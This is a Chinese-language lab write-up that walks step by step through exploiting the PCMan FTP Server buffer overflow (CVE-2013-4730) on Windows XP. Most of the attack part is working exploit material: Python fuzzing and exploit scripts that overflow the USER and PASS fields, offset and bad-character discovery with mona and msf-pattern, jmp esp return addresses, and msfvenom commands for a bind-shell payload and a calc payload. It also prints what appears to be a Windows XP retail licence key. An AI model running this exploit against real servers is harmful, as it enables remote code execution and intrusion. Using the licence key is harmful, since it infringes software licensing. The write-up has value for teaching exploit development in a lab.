【CVE-2013-4730】PCMan’s FTP Server
课程地址:https://www.secpulse.com/archives/116030.html
https://www.aqniukt.com/goods/show/597?targetId=12784&preview=0
安装WindowsXP
Windows XP Home Edition 简体中文零售版原版 CD-KEY
BQJG2-2MJT7-H7F6K-XW98B-4HQRQ
溢出的基本步骤
1. 捕获异常
import socket
import sys
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("pacman",21))
# login BOF
# 确定此处有bof导致的crash
# 2000的时候就挂了
for i in range(1990, 2050):
if i % 1 == 0:
s.send(b"USER: " + "A".encode()*i + "\r\n".encode())
data = s.recv(1024)
print(str(i) + ":" + data.decode())

2. 分析异常=>确认可否利用
观察到在发送2000个A后,FTP服务器崩溃,且EIP寄存器被覆盖成了AAAA(也就是图里的41414141)

背景知识补充
**ESP:**专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。本次实验采用的,就是32位的Windows XP。
**EIP:**寄存器存放【下一个CPU指令】的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
也就是说,既然咱们已经控制了EIP,那在EIP前面的ESP,不也可以被咱们所控制了么?
只不过,由于不知道偏移量究竟是2000还是多少,需要采取下面两种方式来确定偏移量的具体值
3. 寻找shellcode空间
确定EIP偏移位置的两种方法:二分法、唯一字符串法、插件法
- 二分法
有点像“猜大小”游戏,我们已经知道:当输入字符串的数量(此处为A)为大于2000时,系统当然会崩溃,那我们只需要假设EIP的偏移量为N,N个A打过去后,EIP上面应该正好存的就是字符B的值,也就是下面这几行输入所表示的那样:第1、2行,2050、2100都太长了,一直二分到2000,发现正好将EIP覆盖到42424242,也就说明偏移量正好为2000。
evil = "A"*2100 + "B"*4 #EIP=41414141(too long)
evil = "A"*2050 + "B"*4 #EIP=41414141(too long)
...
evil = "A"*2001 + "B"*4 #EIP=42414141(exactly change)
evil = "A"*2000 + "B"*4 #EIP=42424242(exactly)
- 唯一字符串方法
一方面,可以使用mona插件,输入以下命令,即可生成长度为3000的唯一字符串
!mona pc 3000

发送唯一字符串过去!
only = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
s.send(b"USER: " + only.encode() + "\r\n".encode())
data = s.recv(1024)
观察到崩溃,记录下EIP的值,下图为376F4336

使用mona插件的功能来定位唯一字符串的位置(记得地址前面要加0x)
!mona po 0x376F4336
如下图所示,- Pattern 6Co7 (0x376F4336) found in cyclic pattern at position 2000

也能得到偏移量为2000
另一方面,生成唯一字符串还可以用Kali中自带的功能来完成
# 生成唯一字符串 -l
$ msf-pattern_create -l 3000 > pattern3k.txt
# 查询偏移量 -q
$ msf-pattern_offset -l 3000 -q 376F4336
[*] Exact match at offset 2000
- 插件法
# 需在溢出后运行,否则结果为空
!mona findmsp
安装mona插件后,运行完上边的命令,也能得到2000这个偏移量。
4. 确认坏字节
payload中可能存在所谓的“坏字符”,它们在执行过程中会被过滤掉、或以其他语义的方式被执行,导致payload在目标系统上执行和预期结果不一致。
你应该明白:真实环境中,攻击机会往往只有一次
个人理解,最终是通过覆盖EIP、ESP寄存器来实现RCE,那么要确保两件事
- 不要有坏字节引起歧义,需要在最终的shellcode中排除它们
- 务必要覆盖到
**ESP**,用\x90*50也就是NOP来确保
直接拷贝下面这些字符即可,也可用mona插件生成
!mona bytearray
或
!mona ba
# 去除\x00
!mona bc -cpb '\x00'

首先要知道,\x00是妥妥的坏字符串。
缓冲区溢出中,最典型的就是 “\x00”,大部分CPU架构在执行的时候都会把它认为是一个坏字符
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pacman",21))
JuNk = "\x42" * 2000
PADDING = "\x5a" * 4
NOP = "\x90" * 50
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
pkt = "USER: " + JuNk + PADDING + NOP + badchars
pkt = pkt + "\r\n"
pkt = pkt.encode()
s.send(pkt)
data = s.recv(1024)
print(data)

其次,我们把坏字节打过去,看到0a的位置上出现了00,第二个坏字节!

在badchars字符串中删除0a,继续打

发现0d也是坏字节,搞定

最终确定是\x0a\x0d是坏字节, 【个人看法:这俩之所以是坏字节,是因为在ftp程序里<font style="color:#333333;">\x0d\x0a</font>有特殊意义,会直接就进入下一行,类似于定界符】
5. 寻找跳板
一些经常被用到的动态链接库会被映射到内存,如
kernel.32.dll、user32.dll会被几乎所有进程加载,且加载基址始终相同(不同OS上可能不同)。所有这里使用user32.dll中的jmp esp作为跳板。为啥要用
jmp esp做跳板呢,主要原因如下:
用内存中任意一个”
jmp esp”的地址覆盖返回地址函数返回后被重定向去执行内存中
jmp esp指令3) 由于函数返回后ESP指向返回地址后,
**jmp esp**执行后,CPU将到“栈区函数返回地址”之后的地方取指令执行4) shellcode的布置。缓冲区前面一段用任意数据填充,把
**shellcode**放在函数返回地址后面。**jmp esp**执行完就执行shellcode。————————————————
版权声明:本文为CSDN博主「0x4C43」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/swjtu100/article/details/50032831
在系统中查找一个<font style="color:#000000;background-color:#FEFEFE;">JMP ESP</font>作为跳板,建议首先找软件自身的库,再找系统通用库。
(1)手动搜索跳板
要开始搜索“<font style="color:rgb(33, 37, 41);">JMP ESP</font>”指令,在调试器中使用View菜单,Executable modules选项,然后在出现的窗口中双击 essfunc 模块,根据模块路径,它应该从与主要的 vulnserver 可执行文件。essfunc 模块现在应该显示在调试器的 CPU 视图中。在反汇编程序窗格中右键单击并选择Search for->Command并在出现的“Find Command”窗口中键入“<font style="color:rgb(33, 37, 41);">JMP ESP</font>”(不带引号)并点击Find。反汇编器窗格现在应该显示 essfunc 模块中第一条“JMP ESP”指令的地址。

如上图所示,指令的地址是 <font style="color:rgb(33, 37, 41);">625011AF</font>。该地址没有包含常见的坏字符(例如 0, A, D),因此它应该能提供一个良好的覆盖地址供我们尝试使用。
(2)利用mona插件
!mona jmp -r esp

结果在这下面,其中第二列中有00出现的地址,是不能作为跳板的。
0BADF00D [+] Results :
77F5801C 0x77f5801c : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\ntdll.dll)
77F77343 0x77f77343 : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\ntdll.dll)
0043410D 0x0043410d : jmp esp | startnull,ascii {PAGE_EXECUTE_READ} [PCManFTPD2.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.0.0.0 (C:\Documents and Settings\Owner\桌面\PCMan\PCManFTPD2.exe)
772F655F 0x772f655f : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\WINDOWS\system32\SHLWAPI.dll)
77D4754A 0x77d4754a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\USER32.dll)
773A4540 0x773a4540 : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\WINDOWS\system32\SHELL32.dll)
77523570 0x77523570 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\WINDOWS\system32\SHELL32.dll)
77C98DF9 0x77c98df9 : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\RPCRT4.dll)
77CF64AF 0x77cf64af : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\RPCRT4.dll)
746B51CB 0x746b51cb : jmp esp | {PAGE_EXECUTE_READ} [MSCTF.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\MSCTF.dll)
719C403D 0x719c403d : jmp esp | {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\mswsock.dll)
719E4267 0x719e4267 : jmp esp | {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\mswsock.dll)
72F8B18B 0x72f8b18b : jmp esp | {PAGE_EXECUTE_READ} [WINSPOOL.DRV] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\WINSPOOL.DRV)
77E0171B 0x77e0171b : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\ADVAPI32.dll)
71A27BFB 0x71a27bfb : jmp esp | {PAGE_EXECUTE_READ} [WS2_32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\WS2_32.dll)
76EFC663 0x76efc663 : call esp | {PAGE_EXECUTE_READ} [DNSAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\DNSAPI.dll)
76F0DDBB 0x76f0ddbb : call esp | {PAGE_EXECUTE_READ} [DNSAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\DNSAPI.dll)
77E7FC79 0x77e7fc79 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\kernel32.dll)
77EB1933 0x77eb1933 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\kernel32.dll)
77F510B0 0x77f510b0 : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\System32\ntdll.dll)
0BADF00D ... Please wait while I'm processing all remaining results and writing everything to file...
如果上面的结果里全都不满足当作跳板的话,尝试使用指定模块查找方法
!mona jmp -r esp -m "kernel32.dll"
0BADF00D [+] Results :
77E7FC79 0x77e7fc79 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\kernel32.dll)
77EB1933 0x77eb1933 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\kernel32.dll)
77E4DE9C 0x77e4de9c : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\WINDOWS\system32\kernel32.dll)
0BADF00D Found a total of 3 pointers
以选用0x77523570为例,
0x77523570 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\WINDOWS\system32\SHELL32.dll)
注意!ret地址需要反着写,例子如下
# 0x773a4540 : jmp esp
# [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
# v6.00.2600.0000 (C:\WINDOWS\system32\SHELL32.dll)
ret = "\x40\x45\x3a\x77"
6. 编写shellcode
xp下,很多时候SafeSEH开启也无妨,因为利用点不在此
写Shellcode时,使用
0x90*50来nop掉
msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -f python -v shellcode -b "\x00\x0a\x0d" > rev_4444.txt
打成功!

溢出后的反思
一、溢出点必须是USER吗?
尝试对PASS进行fuzz
- 偏移量为
6101

按照老套路
u_req = b"PASS " + junk + ret + nop + buf + b"\r\n"
可以看到:直接执行计算器成功了!

期间,也发现了几个问题:
- socket.recv() , 好像由于这个函数是否阻塞,导致发送7k个字符串过去都不溢出。。。。
正解:用户名必须存在,如anonymous;如果不存在,发送再长的PASS也都无法溢出

- for i in range来fuzz,发现根本程序没崩溃。。。。猜测和FTP的频次控制有关


二、必须JMP ESP吗?
不一定,其他的有时也可以,如
CALL ESP
PUSH ESP
JMP EAX
PUSH EAX
生成弹计算器的shellcode
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
